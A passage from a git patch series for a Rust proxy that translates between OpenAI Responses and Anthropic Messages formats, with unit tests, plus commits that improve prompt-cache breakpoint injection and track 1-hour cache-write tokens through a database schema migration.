cache_creation_details.clone(); + } result } @@ -190,6 +203,28 @@ pub(crate) fn build_responses_usage_from_anthropic(usage: Option<&Value>) -> Val /// /// `default_max_tokens`: injected when the Responses body has no /// `max_output_tokens` (Anthropic's `max_tokens` is required; missing it yields a 400). +fn responses_system_text(item: &Value) -> Vec { + match item.get("content") { + Some(Value::String(text)) if is_meaningful_text(text) => { + vec![text.trim().to_string()] + } + Some(Value::Array(parts)) => parts + .iter() + .filter_map(|part| { + matches!( + part.get("type").and_then(Value::as_str), + Some("input_text" | "output_text" | "text") + ) + .then(|| part.get("text").and_then(Value::as_str)) + .flatten() + .filter(|text| is_meaningful_text(text)) + .map(|text| text.trim().to_string()) + }) + .collect(), + _ => Vec::new(), + } +} + pub fn responses_request_to_anthropic( body: Value, default_max_tokens: u64, @@ -206,12 +241,28 @@ pub fn responses_request_to_anthropic( result["model"] = json!(model); } - // instructions → system + // instructions and historical system/developer messages → Anthropic system. + // Anthropic messages only accept user/assistant roles; degrading these items to + // user silently changes instruction precedence. + let mut system_parts = Vec::new(); if let Some(instructions) = body.get("instructions").and_then(|v| v.as_str()) { - if !instructions.is_empty() { - result["system"] = json!(instructions); + if is_meaningful_text(instructions) { + system_parts.push(instructions.trim().to_string()); } } + if let Some(items) = body.get("input").and_then(Value::as_array) { + for item in items { + if matches!( + item.get("role").and_then(Value::as_str), + Some("system" | "developer") + ) { + system_parts.extend(responses_system_text(item)); + } + } + } + if !system_parts.is_empty() { + result["system"] = json!(system_parts.join("\n\n")); + } // input → messages let mut messages = match body.get("input") { @@ -457,7 +508,24 @@ fn convert_input_to_messages( let mut messages: Vec = Vec::new(); for item in items { - match item.get("type").and_then(|t| t.as_str()) { + let item_type = item.get("type").and_then(|t| t.as_str()); + if matches!( + item_type, + Some("function_call" | "custom_tool_call" | "tool_search_call") + ) && item.get("status").and_then(Value::as_str) == Some("incomplete") + { + log::warn!( + "[Codex/Anthropic] Dropping incomplete historical tool call: type={}, call_id={}", + item_type.unwrap_or("unknown"), + item.get("call_id") + .and_then(Value::as_str) + .or_else(|| item.get("id").and_then(Value::as_str)) + .unwrap_or("") + ); + continue; + } + + match item_type { Some("function_call") => { let call_id = item .get("call_id") @@ -471,8 +539,17 @@ fn convert_input_to_messages( let input: Value = if args_str.trim().is_empty() { json!({}) } else { - serde_json::from_str(args_str).unwrap_or(json!({})) + serde_json::from_str(args_str).map_err(|error| { + ProxyError::InvalidRequest(format!( + "Invalid function_call arguments for '{name}': {error}" + )) + })? }; + if !input.is_object() { + return Err(ProxyError::InvalidRequest(format!( + "Function call arguments for '{name}' must be a JSON object" + ))); + } let input = sanitize_anthropic_tool_use_input(name, input); push_block( &mut messages, @@ -532,14 +609,15 @@ fn convert_input_to_messages( Some("function_call_output" | "custom_tool_call_output" | "tool_search_output") => { let call_id = item.get("call_id").and_then(|v| v.as_str()).unwrap_or(""); let output = tool_result_content_from_responses_item(item); - push_tool_result_block( - &mut messages, - json!({ - "type": "tool_result", - "tool_use_id": call_id, - "content": output - }), - ); + let mut block = json!({ + "type": "tool_result", + "tool_use_id": call_id, + "content": output.content + }); + if output.is_error { + block["is_error"] = json!(true); + } + push_tool_result_block(&mut messages, block); } Some("input_text") => { if let Some(text) = item @@ -571,6 +649,9 @@ fn convert_input_to_messages( // message item or an item carrying a role _ => { let role = item.get("role").and_then(|r| r.as_str()).unwrap_or("user"); + if matches!(role, "system" | "developer") { + continue; + } let anth_role = if role == "assistant" { "assistant" } else { @@ -619,6 +700,11 @@ fn convert_input_to_messages( push_block(&mut messages, anth_role, block); } } + "input_file" => { + if let Some(block) = document_block_from_input_file(part) { + push_block(&mut messages, anth_role, block); + } + } _ => {} } } @@ -632,29 +718,70 @@ fn convert_input_to_messages( Ok(messages) } -fn tool_result_content_from_responses_item(item: &Value) -> Value { +struct ToolResultContent { + content: Value, + is_error: bool, +} + +fn tool_result_content_from_responses_item(item: &Value) -> ToolResultContent { match item.get("output") { - Some(Value::String(text)) => json!(text), + Some(Value::String(text)) => ToolResultContent { + content: json!(text), + is_error: false, + }, Some(Value::Array(parts)) => { - let content: Vec = parts - .iter() - .filter_map(|part| match part.get("type").and_then(Value::as_str) { - Some("input_text" | "output_text") => part - .get("text") - .and_then(Value::as_str) - .map(|text| json!({ "type": "text", "text": text })), - Some("input_image") => image_block_from_input_image(part), - _ => None, - }) - .collect(); - if content.is_empty() { - json!(canonical_json_string(&Value::Array(parts.clone()))) - } else { - Value::Array(content) + let mut content = Vec::new(); + let mut is_error = false; + for part in parts { + match part.get("type").and_then(Value::as_str) { + Some("input_text" | "output_text") => { + if let Some(text) = part.get("text").and_then(Value::as_str) { + if text == TOOL_RESULT_ERROR_MARKER { + is_error = true; + } else { + content.push(json!({"type":"text","text":text})); + } + } + } + Some("input_image") => { + if let Some(image) = image_block_from_input_image(part) { + content.push(image); + } else { + content.push(json!({ + "type":"text", + "text":canonical_json_string(part) + })); + } + } + Some("input_file") => { + if let Some(document) = document_block_from_input_file(part) { + content.push(document); + } else { + content.push(json!({ + "type":"text", + "text":canonical_json_string(part) + })); + } + } + _ => content.push(json!({ + "type":"text", + "text":canonical_json_string(part) + })), + } + } + ToolResultContent { + content: Value::Array(content), + is_error, } } - Some(value) => json!(canonical_json_string(value)), - None => json!(canonical_json_string(item)), + Some(value) => ToolResultContent { + content: json!(canonical_json_string(value)), + is_error: false, + }, + None => ToolResultContent { + content: json!(canonical_json_string(item)), + is_error: false, + }, } } @@ -968,6 +1095,46 @@ fn image_block_from_input_image(part: &Value) -> Option { } } +/// Responses' input_file → Anthropic document block. +fn document_block_from_input_file(part: &Value) -> Option { + let filename = part + .get("filename") + .and_then(Value::as_str) + .filter(|value| !value.is_empty()); + + let mut block = if let Some(file_url) = part + .get("file_url") + .and_then(Value::as_str) + .filter(|url| url.starts_with("http://") || url.starts_with("https://")) + { + json!({ + "type":"document", + "source":{"type":"url","url":file_url} + }) + } else { + let file_data = part.get("file_data").and_then(Value::as_str)?; + let rest = file_data.strip_prefix("data:")?; + let (meta, data) = rest.split_once(',')?; + if data.is_empty() { + return None; + } + let media_type = meta.split(';').next().unwrap_or("application/pdf"); + json!({ + "type":"document", + "source":{ + "type":"base64", + "media_type":media_type, + "data":data + } + }) + }; + + if let Some(filename) = filename { + block["title"] = json!(filename); + } + Some(block) +} + /// Anthropic Messages response → OpenAI Responses response (non-streaming) #[allow(dead_code)] pub fn anthropic_response_to_responses(body: Value) -> Result { @@ -1330,6 +1497,27 @@ mod tests { assert_eq!(result["system"], "You are helpful."); } + #[test] + fn test_request_system_and_developer_history_are_hoisted() { + let input = json!({ + "model":"claude", + "instructions":"base", + "input":[ + {"role":"system","content":"system history"}, + {"role":"developer","content":[{"type":"input_text","text":"developer history"}]}, + {"role":"user","content":"hi"} + ] + }); + + let result = responses_request_to_anthropic(input, 4096).unwrap(); + assert_eq!( + result["system"], + "base\n\nsystem history\n\ndeveloper history" + ); + assert_eq!(result["messages"].as_array().unwrap().len(), 1); + assert_eq!(result["messages"][0]["role"], "user"); + } + #[test] fn test_request_no_instructions_no_system() { let input = json!({ @@ -1610,6 +1798,47 @@ mod tests { assert_eq!(result["messages"][1]["content"][0]["input"], json!({})); } + #[test] + fn test_request_invalid_or_non_object_arguments_error() { + for arguments in ["{broken", "[1,2]"] { + let input = json!({ + "model":"c", + "input":[ + {"type":"function_call","call_id":"c1","name":"t","arguments":arguments}, + {"type":"function_call_output","call_id":"c1","output":"ok"} + ] + }); + assert!(matches!( + responses_request_to_anthropic(input, 4096), + Err(ProxyError::InvalidRequest(_)) + )); + } + } + + #[test] + fn test_request_drops_incomplete_tool_call_and_orphaned_output() { + let input = json!({ + "model":"c", + "input":[ + {"role":"user","content":[{"type":"input_text","text":"run it"}]}, + { + "type":"function_call", + "call_id":"c1", + "name":"exec", + "arguments":"{\"cmd\":", + "status":"incomplete" + }, + {"type":"function_call_output","call_id":"c1","output":"never ran"} + ] + }); + + let result = responses_request_to_anthropic(input, 4096).unwrap(); + let serialized = result["messages"].to_string(); + assert!(!serialized.contains("tool_use")); + assert!(!serialized.contains("tool_result")); + assert!(serialized.contains("run it")); + } + #[test] fn test_request_image_data_url() { let input = json!({ @@ -2037,7 +2266,7 @@ mod tests { let input = json!({ "id": "msg_1", "content": [ - { "type": "thinking", "thinking": "Let me think" }, + { "type": "thinking", "thinking": "Let me think", "signature": "sig" }, { "type": "text", "text": "answer" } ], "stop_reason": "end_turn", @@ -2049,6 +2278,22 @@ mod tests { assert_eq!(result["output"][1]["type"], "message"); } + #[test] + fn test_unsigned_thinking_is_not_replayed_as_encrypted_reasoning() { + let input = json!({ + "id":"msg_unsigned", + "content":[ + {"type":"thinking","thinking":"unsigned"}, + {"type":"text","text":"answer"} + ], + "stop_reason":"end_turn" + }); + + let result = anthropic_response_to_responses(input).unwrap(); + assert_eq!(result["output"].as_array().unwrap().len(), 1); + assert_eq!(result["output"][0]["type"], "message"); + } + #[test] fn test_response_max_tokens_incomplete() { let input = json!({ @@ -2073,7 +2318,11 @@ mod tests { "output_tokens": 5, "output_tokens_details": {"thinking_tokens": 3}, "cache_read_input_tokens": 60, - "cache_creation_input_tokens": 20 + "cache_creation_input_tokens": 20, + "cache_creation": { + "ephemeral_5m_input_tokens": 5, + "ephemeral_1h_input_tokens": 15 + } } }); let result = anthropic_response_to_responses(input).unwrap(); @@ -2093,6 +2342,10 @@ mod tests { ); // cache_creation is passed through explicitly for downstream billing attribution (counted only once) assert_eq!(result["usage"]["cache_creation_input_tokens"], 20); + assert_eq!( + result["usage"]["cache_creation"]["ephemeral_1h_input_tokens"], + 15 + ); } #[test] @@ -2274,6 +2527,40 @@ mod tests { assert_eq!(content[1]["type"], "image"); } + #[test] + fn test_structured_tool_output_restores_error_file_and_unknown_parts() { + let response = responses_request_to_anthropic( + json!({ + "model":"c", + "input":[ + {"type":"function_call","call_id":"c1","name":"inspect","arguments":"{}"}, + {"type":"function_call_output","call_id":"c1","output":[ + {"type":"input_text","text":TOOL_RESULT_ERROR_MARKER}, + {"type":"input_text","text":"failed"}, + {"type":"input_file","file_url":"https://example.com/log.pdf","filename":"log.pdf"}, + {"type":"future_part","payload":{"x":1}} + ]} + ] + }), + 4096, + ) + .unwrap(); + + let tool_result = &response["messages"][2]["content"][0]; + assert_eq!(tool_result["is_error"], true); + assert_eq!( + tool_result["content"][0], + json!({"type":"text","text":"failed"}) + ); + assert_eq!(tool_result["content"][1]["type"], "document"); + assert_eq!(tool_result["content"][1]["source"]["type"], "url"); + assert_eq!(tool_result["content"][2]["type"], "text"); + assert!(tool_result["content"][2]["text"] + .as_str() + .unwrap() + .contains("future_part")); + } + // ==================== Request normalization: non-empty & first is user ==================== #[test] diff --git a/src-tauri/src/proxy/providers/transform_responses.rs b/src-tauri/src/proxy/providers/transform_responses.rs index c946a36fb..916a0dbf3 100644 --- a/src-tauri/src/proxy/providers/transform_responses.rs +++ b/src-tauri/src/proxy/providers/transform_responses.rs @@ -15,6 +15,130 @@ use super::reasoning_bridge::{ anthropic_block_from_openai_reasoning_item, openai_reasoning_item_from_anthropic_block, }; +pub(crate) const TOOL_RESULT_ERROR_MARKER: &str = "[cc-switch:tool-result-error]"; + +fn anthropic_image_to_responses_part(block: &Value) -> Option { + let source = block.get("source")?; + match source.get("type").and_then(Value::as_str) { + Some("url") => source + .get("url") + .and_then(Value::as_str) + .filter(|url| url.starts_with("http://") || url.starts_with("https://")) + .map(|url| json!({"type":"input_image","image_url":url})), + Some("base64") | None => { + let data = source.get("data").and_then(Value::as_str)?; + if data.is_empty() { + return None; + } + let media_type = source + .get("media_type") + .and_then(Value::as_str) + .unwrap_or("image/png"); + Some(json!({ + "type":"input_image", + "image_url":format!("data:{media_type};base64,{data}") + })) + } + _ => None, + } +} + +fn anthropic_document_to_responses_part(block: &Value) -> Option { + let source = block.get("source")?; + let filename = block + .get("title") + .or_else(|| block.get("filename")) + .and_then(Value::as_str) + .unwrap_or("document.pdf"); + match source.get("type").and_then(Value::as_str) { + Some("url") => source + .get("url") + .and_then(Value::as_str) + .filter(|url| url.starts_with("http://") || url.starts_with("https://")) + .map(|url| json!({"type":"input_file","file_url":url,"filename":filename})), + Some("base64") => { + let data = source.get("data").and_then(Value::as_str)?; + if data.is_empty() { + return None; + } + let media_type = source + .get("media_type") + .and_then(Value::as_str) + .unwrap_or("application/pdf"); + Some(json!({ + "type":"input_file", + "file_data":format!("data:{media_type};base64,{data}"), + "filename":filename + })) + } + _ => None, + } +} + +fn anthropic_tool_result_to_responses_output(block: &Value) -> Value { + let is_error = block.get("is_error").and_then(Value::as_bool) == Some(true); + let content = block.get("content"); + + if !is_error { + if let Some(Value::String(text)) = content { + return json!(text); + } + } + + let mut output = Vec::new(); + if is_error { + output.push(json!({"type":"input_text","text":TOOL_RESULT_ERROR_MARKER})); + } + + match content { + Some(Value::String(text)) => { + output.push(json!({"type":"input_text","text":text})); + } + Some(Value::Array(blocks)) => { + for part in blocks { + match part.get("type").and_then(Value::as_str) { + Some("text") => { + if let Some(text) = part.get("text").and_then(Value::as_str) { + output.push(json!({"type":"input_text","text":text})); + } + } + Some("image") => { + if let Some(image) = anthropic_image_to_responses_part(part) { + output.push(image); + } else { + output.push(json!({ + "type":"input_text", + "text":canonical_json_string(part) + })); + } + } + Some("document") => { + if let Some(file) = anthropic_document_to_responses_part(part) { + output.push(file); + } else { + output.push(json!({ + "type":"input_text", + "text":canonical_json_string(part) + })); + } + } + _ => output.push(json!({ + "type":"input_text", + "text":canonical_json_string(part) + })), + } + } + } + Some(value) => output.push(json!({ + "type":"input_text", + "text":canonical_json_string(value) + })), + None => {} + } + + Value::Array(output) +} + pub(crate) fn sanitize_anthropic_tool_use_input(name: &str, input: Value) -> Value { if name != "Read" { return input; @@ -251,6 +375,37 @@ pub(crate) fn map_responses_stop_reason( }) } +fn responses_error_message(body: &Value, fallback: &str) -> String { + body.pointer("/error/message") + .and_then(Value::as_str) + .or_else(|| body.get("message").and_then(Value::as_str)) + .or_else(|| body.get("error").and_then(Value::as_str)) + .filter(|message| !message.trim().is_empty()) + .unwrap_or(fallback) + .to_string() +} + +fn validate_responses_terminal_status(body: &Value) -> Result<(), ProxyError> { + let status = body.get("status").and_then(Value::as_str); + let has_error = body.get("error").is_some_and(|error| !error.is_null()); + + match status { + Some("failed") => Err(ProxyError::TransformError(format!( + "Responses upstream failed: {}", + responses_error_message(body, "response generation failed") + ))), + Some("cancelled") => Err(ProxyError::TransformError(format!( + "Responses upstream cancelled the response: {}", + responses_error_message(body, "response generation was cancelled") + ))), + _ if has_error => Err(ProxyError::TransformError(format!( + "Responses upstream returned an error envelope: {}", + responses_error_message(body, "unknown upstream error") + ))), + _ => Ok(()), + } +} + /// Build Anthropic-style usage JSON from Responses API usage, including cache tokens. /// /// **Robustness Features**: @@ -372,6 +527,9 @@ pub(crate) fn build_anthropic_usage_from_responses(usage: Option<&Value>) -> Val if let Some(v) = u.get("cache_creation_input_tokens") { result["cache_creation_input_tokens"] = v.clone(); } + if let Some(v) = u.get("cache_creation") { + result["cache_creation"] = v.clone(); + } // OpenAI/Responses 的 input(prompt_tokens/input_tokens)含缓存命中,Anthropic input_tokens 不含 // → 减去 cache_read 与 cache_creation,使其成为 fresh input。本函数在计量意义上是 claude 专属 @@ -445,17 +603,22 @@ fn convert_messages_to_input(messages: &[Value]) -> Result, ProxyErro } "image" => { - if let Some(source) = block.get("source") { - let media_type = source - .get("media_type") - .and_then(|m| m.as_str()) - .unwrap_or("image/png"); - let data = - source.get("data").and_then(|d| d.as_str()).unwrap_or(""); - message_content.push(json!({ - "type": "input_image", - "image_url": format!("data:{media_type};base64,{data}") - })); + if let Some(image) = anthropic_image_to_responses_part(block) { + message_content.push(image); + } else { + log::warn!( + "[Responses] Unsupported or invalid Anthropic image block" + ); + } + } + + "document" => { + if let Some(file) = anthropic_document_to_responses_part(block) { + message_content.push(file); + } else { + log::warn!( + "[Responses] Unsupported or invalid Anthropic document block" + ); } } @@ -497,11 +660,7 @@ fn convert_messages_to_input(messages: &[Value]) -> Result, ProxyErro .get("tool_use_id") .and_then(|i| i.as_str()) .unwrap_or(""); - let output = match block.get("content") { - Some(Value::String(s)) => s.clone(), - Some(v) => canonical_json_string(v), - None => String::new(), - }; + let output = anthropic_tool_result_to_responses_output(block); input.push(json!({ "type": "function_call_output", @@ -570,6 +729,11 @@ fn convert_messages_to_input(messages: &[Value]) -> Result, ProxyErro /// OpenAI Responses 响应 → Anthropic 响应 pub fn responses_to_anthropic(body: Value) -> Result { + // A Responses failure can arrive inside an HTTP 2xx response object. Reject it + // before looking at `output`; otherwise `{status:"failed", output:[]}` becomes + // a successful empty Anthropic `end_turn` and hides the upstream error. + validate_responses_terminal_status(&body)?; + let output = body .get("output") .and_then(|o| o.as_array()) @@ -965,6 +1129,34 @@ mod tests { assert_eq!(input_arr[0]["output"], "Sunny, 25°C"); } + #[test] + fn test_anthropic_to_responses_tool_result_preserves_blocks_and_error() { + let input = json!({ + "model":"gpt-5", + "messages":[{"role":"user","content":[{ + "type":"tool_result", + "tool_use_id":"call_1", + "is_error":true, + "content":[ + {"type":"text","text":"command failed"}, + {"type":"image","source":{"type":"url","url":"https://example.com/error.png"}}, + {"type":"document","title":"trace.pdf","source":{"type":"base64","media_type":"application/pdf","data":"JVBERi0="}} + ] + }]}] + }); + + let result = anthropic_to_responses(input, None, false, false).unwrap(); + let output = result["input"][0]["output"].as_array().unwrap(); + assert_eq!(output[0]["text"], TOOL_RESULT_ERROR_MARKER); + assert_eq!( + output[1], + json!({"type":"input_text","text":"command failed"}) + ); + assert_eq!(output[2]["image_url"], "https://example.com/error.png"); + assert_eq!(output[3]["type"], "input_file"); + assert_eq!(output[3]["filename"], "trace.pdf"); + } + #[test] fn test_anthropic_to_responses_thinking_discarded() { let input = json!({ @@ -1010,6 +1202,25 @@ mod tests { assert_eq!(content[1]["image_url"], "data:image/png;base64,abc123"); } + #[test] + fn test_anthropic_to_responses_url_image_and_document() { + let input = json!({ + "model":"gpt-5", + "messages":[{"role":"user","content":[ + {"type":"image","source":{"type":"url","url":"https://example.com/a.png"}}, + {"type":"document","title":"manual.pdf","source":{"type":"url","url":"https://example.com/manual.pdf"}} + ]}] + }); + + let result = anthropic_to_responses(input, None, false, false).unwrap(); + let content = result["input"][0]["content"].as_array().unwrap(); + assert_eq!(content[0]["type"], "input_image"); + assert_eq!(content[0]["image_url"], "https://example.com/a.png"); + assert_eq!(content[1]["type"], "input_file"); + assert_eq!(content[1]["file_url"], "https://example.com/manual.pdf"); + assert_eq!(content[1]["filename"], "manual.pdf"); + } + #[test] fn test_responses_to_anthropic_simple() { let input = json!({ @@ -1293,6 +1504,48 @@ mod tests { assert_eq!(replay["input"][0]["role"], "user"); } + #[test] + fn test_responses_failed_status_is_not_silent_empty_success() { + let input = json!({ + "id": "resp_failed", + "status": "failed", + "error": {"type": "server_error", "message": "backend exploded"}, + "output": [], + "usage": {"input_tokens": 10, "output_tokens": 0} + }); + + let error = responses_to_anthropic(input).unwrap_err(); + assert!( + matches!(error, ProxyError::TransformError(message) if message.contains("backend exploded")) + ); + } + + #[test] + fn test_responses_error_envelope_preserves_upstream_message() { + let input = json!({ + "error": {"type": "rate_limit_error", "message": "too many requests"} + }); + + let error = responses_to_anthropic(input).unwrap_err(); + assert!( + matches!(error, ProxyError::TransformError(message) if message.contains("too many requests")) + ); + } + + #[test] + fn test_responses_cancelled_status_is_not_end_turn() { + let input = json!({ + "id": "resp_cancelled", + "status": "cancelled", + "output": [] + }); + + let error = responses_to_anthropic(input).unwrap_err(); + assert!( + matches!(error, ProxyError::TransformError(message) if message.contains("cancelled")) + ); + } + #[test] fn test_responses_to_anthropic_incomplete_status() { let input = json!({ From b9263a8040b81caacefe53832c2b1978e7c337fa Mon Sep 17 00:00:00 2001 From: Jason Date: Sun, 12 Jul 2026 12:19:28 +0800 Subject: [PATCH 57/73] fix(cache): strengthen prompt cache breakpoint injection Honor both the optimizer master switch and the cache-injection sub-switch before mutating native optimizer requests. Use the available four-breakpoint budget across tools, system content, the latest cacheable message, and an older user anchor for long tool-heavy conversations. Preserve caller-owned breakpoint limits, avoid thinking blocks as cache targets, normalize configured TTLs, and add regression coverage for disabled optimization and long histories. --- src-tauri/src/proxy/cache_injector.rs | 105 +++++++++++++++++++++----- 1 file changed, 87 insertions(+), 18 deletions(-) diff --git a/src-tauri/src/proxy/cache_injector.rs b/src-tauri/src/proxy/cache_injector.rs index a6bf8c9c9..dd84d955e 100644 --- a/src-tauri/src/proxy/cache_injector.rs +++ b/src-tauri/src/proxy/cache_injector.rs @@ -7,7 +7,7 @@ use serde_json::{json, Value}; /// 在请求体关键位置注入 cache_control 断点 pub fn inject(body: &mut Value, config: &OptimizerConfig) { - if !config.cache_injection { + if !config.enabled || !config.cache_injection { return; } @@ -89,24 +89,29 @@ pub fn inject(body: &mut Value, config: &OptimizerConfig) { // user/tool_result 结束;只标 assistant 会让最新稳定前缀无法命中缓存。 if budget > 0 { if let Some(messages) = body.get_mut("messages").and_then(|m| m.as_array_mut()) { - 'messages: for message in messages.iter_mut().rev() { - if let Some(content) = message.get_mut("content").and_then(|c| c.as_array_mut()) { - if let Some(block) = content.iter_mut().rev().find(|block| { - !matches!( - block.get("type").and_then(Value::as_str), - Some("thinking" | "redacted_thinking") - ) - }) { - if block.get("cache_control").is_none() { - if let Some(object) = block.as_object_mut() { - object.insert( - "cache_control".to_string(), - make_cache_control(&config.cache_ttl), - ); - injected.push("msgs"); - } + for message in messages.iter_mut().rev() { + if inject_message_breakpoint(message, &config.cache_ttl) { + budget -= 1; + injected.push("msgs-latest"); + break; + } + } + + // (d) A second, older user anchor helps long tool-result turns where + // the stable prefix falls outside Anthropic's 20-block lookback from + // the newest breakpoint. Keep this best-effort and inside the 4-BP cap. + if budget > 0 && messages.len() >= 4 { + let mut user_count = 0; + for message in messages.iter_mut().rev() { + if message.get("role").and_then(Value::as_str) != Some("user") { + continue; + } + user_count += 1; + if user_count == 2 { + if inject_message_breakpoint(message, &config.cache_ttl) { + injected.push("msgs-prior-user"); } - break 'messages; + break; } } } @@ -121,6 +126,28 @@ pub fn inject(body: &mut Value, config: &OptimizerConfig) { ); } +fn inject_message_breakpoint(message: &mut Value, ttl: &str) -> bool { + let Some(content) = message.get_mut("content").and_then(Value::as_array_mut) else { + return false; + }; + let Some(block) = content.iter_mut().rev().find(|block| { + !matches!( + block.get("type").and_then(Value::as_str), + Some("thinking" | "redacted_thinking") + ) + }) else { + return false; + }; + if block.get("cache_control").is_some() { + return false; + } + let Some(object) = block.as_object_mut() else { + return false; + }; + object.insert("cache_control".to_string(), make_cache_control(ttl)); + true +} + fn make_cache_control(ttl: &str) -> Value { if ttl == "5m" { json!({"type": "ephemeral"}) @@ -244,6 +271,30 @@ mod tests { .is_some()); } + #[test] + fn test_long_history_uses_fourth_prior_user_breakpoint() { + let mut body = json!({ + "model":"test", + "tools":[{"name":"tool1"}], + "system":[{"type":"text","text":"sys"}], + "messages":[ + {"role":"user","content":[{"type":"text","text":"first"}]}, + {"role":"assistant","content":[{"type":"text","text":"answer"}]}, + {"role":"user","content":[{"type":"tool_result","tool_use_id":"c1","content":"result"}]}, + {"role":"assistant","content":[{"type":"text","text":"latest"}]} + ] + }); + + inject(&mut body, &default_config()); + assert_eq!(count_existing(&body), 4); + assert!(body["messages"][0]["content"][0] + .get("cache_control") + .is_some()); + assert!(body["messages"][3]["content"][0] + .get("cache_control") + .is_some()); + } + #[test] fn test_existing_four_breakpoints_only_upgrades_ttl() { let mut body = json!({ @@ -379,6 +430,24 @@ mod tests { assert_eq!(body, original); } + #[test] + fn test_optimizer_disabled_no_change() { + let config = OptimizerConfig { + enabled: false, + cache_injection: true, + ..default_config() + }; + let mut body = json!({ + "model":"test", + "tools":[{"name":"tool1"}], + "messages":[{"role":"user","content":[{"type":"text","text":"hi"}]}] + }); + let original = body.clone(); + + inject(&mut body, &config); + assert_eq!(body, original); + } + #[test] fn test_skip_thinking_blocks_in_assistant() { let mut body = json!({ From 13e7c1fcc435ecbc5ca5cb6f4cf4a019c19cc991 Mon Sep 17 00:00:00 2001 From: Jason Date: Sun, 12 Jul 2026 12:19:36 +0800 Subject: [PATCH 58/73] fix(usage): account for Anthropic cache write TTLs Parse and retain Anthropic's ephemeral 5-minute and 1-hour cache-creation token buckets while preserving the existing aggregate cache-write metric for compatibility. Price 1-hour writes at the documented premium relative to the configured 5-minute write rate, clamp inconsistent provider details safely, and include TTL buckets in usage diagnostics. Persist 1-hour cache-write tokens with schema version 14 so zero-cost backfills and later pricing updates retain the original TTL semantics. Keep session import paths compatible through zero-valued detail fields. --- src-tauri/src/database/mod.rs | 2 +- src-tauri/src/database/schema.rs | 29 +++++- src-tauri/src/proxy/response_processor.rs | 12 ++- src-tauri/src/proxy/usage/calculator.rs | 46 ++++++++- src-tauri/src/proxy/usage/logger.rs | 6 +- src-tauri/src/proxy/usage/parser.rs | 85 +++++++++++++++- src-tauri/src/services/session_usage.rs | 2 + src-tauri/src/services/session_usage_codex.rs | 2 + .../src/services/session_usage_gemini.rs | 2 + .../src/services/session_usage_opencode.rs | 2 + src-tauri/src/services/usage_stats.rs | 99 +++++++++++++++---- 11 files changed, 258 insertions(+), 29 deletions(-) diff --git a/src-tauri/src/database/mod.rs b/src-tauri/src/database/mod.rs index 55bb2ea61..dda8da4a5 100644 --- a/src-tauri/src/database/mod.rs +++ b/src-tauri/src/database/mod.rs @@ -50,7 +50,7 @@ use std::sync::Mutex; /// 当前 Schema 版本号 /// 每次修改表结构时递增,并在 schema.rs 中添加相应的迁移逻辑 -pub(crate) const SCHEMA_VERSION: i32 = 13; +pub(crate) const SCHEMA_VERSION: i32 = 14; /// 安全地序列化 JSON,避免 unwrap panic pub(crate) fn to_json_string(value: &T) -> Result { diff --git a/src-tauri/src/database/schema.rs b/src-tauri/src/database/schema.rs index d477991e4..63a73f801 100644 --- a/src-tauri/src/database/schema.rs +++ b/src-tauri/src/database/schema.rs @@ -189,6 +189,7 @@ impl Database { pricing_model TEXT, input_tokens INTEGER NOT NULL DEFAULT 0, output_tokens INTEGER NOT NULL DEFAULT 0, cache_read_tokens INTEGER NOT NULL DEFAULT 0, cache_creation_tokens INTEGER NOT NULL DEFAULT 0, + cache_creation_1h_tokens INTEGER NOT NULL DEFAULT 0, input_token_semantics INTEGER NOT NULL DEFAULT 0, input_cost_usd TEXT NOT NULL DEFAULT '0', output_cost_usd TEXT NOT NULL DEFAULT '0', cache_read_cost_usd TEXT NOT NULL DEFAULT '0', cache_creation_cost_usd TEXT NOT NULL DEFAULT '0', @@ -485,6 +486,11 @@ impl Database { Self::migrate_v12_to_v13(conn)?; Self::set_user_version(conn, 13)?; } + 13 => { + log::info!("迁移数据库从 v13 到 v14(记录 1 小时缓存写入 token)"); + Self::migrate_v13_to_v14(conn)?; + Self::set_user_version(conn, 14)?; + } _ => { return Err(AppError::Database(format!( "未知的数据库版本 {version},无法迁移到 {SCHEMA_VERSION}" @@ -1354,6 +1360,22 @@ impl Database { Ok(()) } + /// v13 -> v14:持久化 Anthropic 1-hour cache-write bucket。 + /// 5-minute/unknown writes can be derived from aggregate cache_creation_tokens; + /// storing only the premium bucket keeps existing aggregate APIs stable while + /// allowing later cost backfills to retain correct TTL pricing. + fn migrate_v13_to_v14(conn: &Connection) -> Result<(), AppError> { + if Self::table_exists(conn, "proxy_request_logs")? { + Self::add_column_if_missing( + conn, + "proxy_request_logs", + "cache_creation_1h_tokens", + "INTEGER NOT NULL DEFAULT 0", + )?; + } + Ok(()) + } + /// 插入默认模型定价数据 /// 格式: (model_id, display_name, input, output, cache_read, cache_creation) /// 注意: model_id 使用短横线格式(如 claude-haiku-4-5),与 API 返回的模型名称标准化后一致 @@ -2713,7 +2735,7 @@ mod tests { Database::apply_schema_migrations_on_conn(&conn)?; - assert_eq!(Database::get_user_version(&conn)?, 13); + assert_eq!(Database::get_user_version(&conn)?, 14); assert!(Database::has_column( &conn, "proxy_request_logs", @@ -2724,6 +2746,11 @@ mod tests { "usage_daily_rollups", "input_token_semantics" )?); + assert!(Database::has_column( + &conn, + "proxy_request_logs", + "cache_creation_1h_tokens" + )?); let log_default: i64 = conn.query_row( "SELECT dflt_value = '0' FROM pragma_table_info('proxy_request_logs') WHERE name = 'input_token_semantics'", diff --git a/src-tauri/src/proxy/response_processor.rs b/src-tauri/src/proxy/response_processor.rs index 238e14420..20b4eb039 100644 --- a/src-tauri/src/proxy/response_processor.rs +++ b/src-tauri/src/proxy/response_processor.rs @@ -645,12 +645,14 @@ async fn log_usage_internal( let request_id = usage.dedup_request_id(); log::debug!( - "[{app_type}] 记录请求日志: id={request_id}, provider={provider_id}, model={model}, streaming={is_streaming}, status={status_code}, latency_ms={latency_ms}, first_token_ms={first_token_ms:?}, session={}, input={}, output={}, cache_read={}, cache_creation={}", + "[{app_type}] 记录请求日志: id={request_id}, provider={provider_id}, model={model}, streaming={is_streaming}, status={status_code}, latency_ms={latency_ms}, first_token_ms={first_token_ms:?}, session={}, input={}, output={}, cache_read={}, cache_creation={}, cache_creation_5m={}, cache_creation_1h={}", session_id.as_deref().unwrap_or("none"), usage.input_tokens, usage.output_tokens, usage.cache_read_tokens, - usage.cache_creation_tokens + usage.cache_creation_tokens, + usage.cache_creation_5m_tokens, + usage.cache_creation_1h_tokens ); if let Err(e) = logger.log_with_calculation( @@ -1004,6 +1006,8 @@ mod tests { output_tokens: 0, cache_read_tokens: 0, cache_creation_tokens: 0, + cache_creation_5m_tokens: 0, + cache_creation_1h_tokens: 0, model: None, message_id: None, }; @@ -1072,6 +1076,8 @@ mod tests { output_tokens: 0, cache_read_tokens: 0, cache_creation_tokens: 0, + 